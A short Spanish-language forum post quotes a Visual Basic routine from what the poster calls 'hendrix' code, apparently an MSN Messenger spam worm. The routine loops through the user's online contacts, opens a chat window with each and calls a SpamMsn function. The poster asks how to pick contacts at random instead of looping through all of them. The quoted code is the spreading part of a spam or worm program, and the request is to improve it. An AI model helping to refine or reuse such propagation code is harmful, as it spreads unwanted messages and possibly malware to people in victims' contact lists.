Hola estoy bichando el codigo de hendrix lo cual la funcion de spam es esta
Public Sub mandar()
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hWnd) 'Esta funcion es la que hace el trabajo
End If
Next
End Sub
Como puedo hacer en evs de usar for each, y poder que el contacto sea aleatorio usando Rnd o otra cosa.. Gracias ;D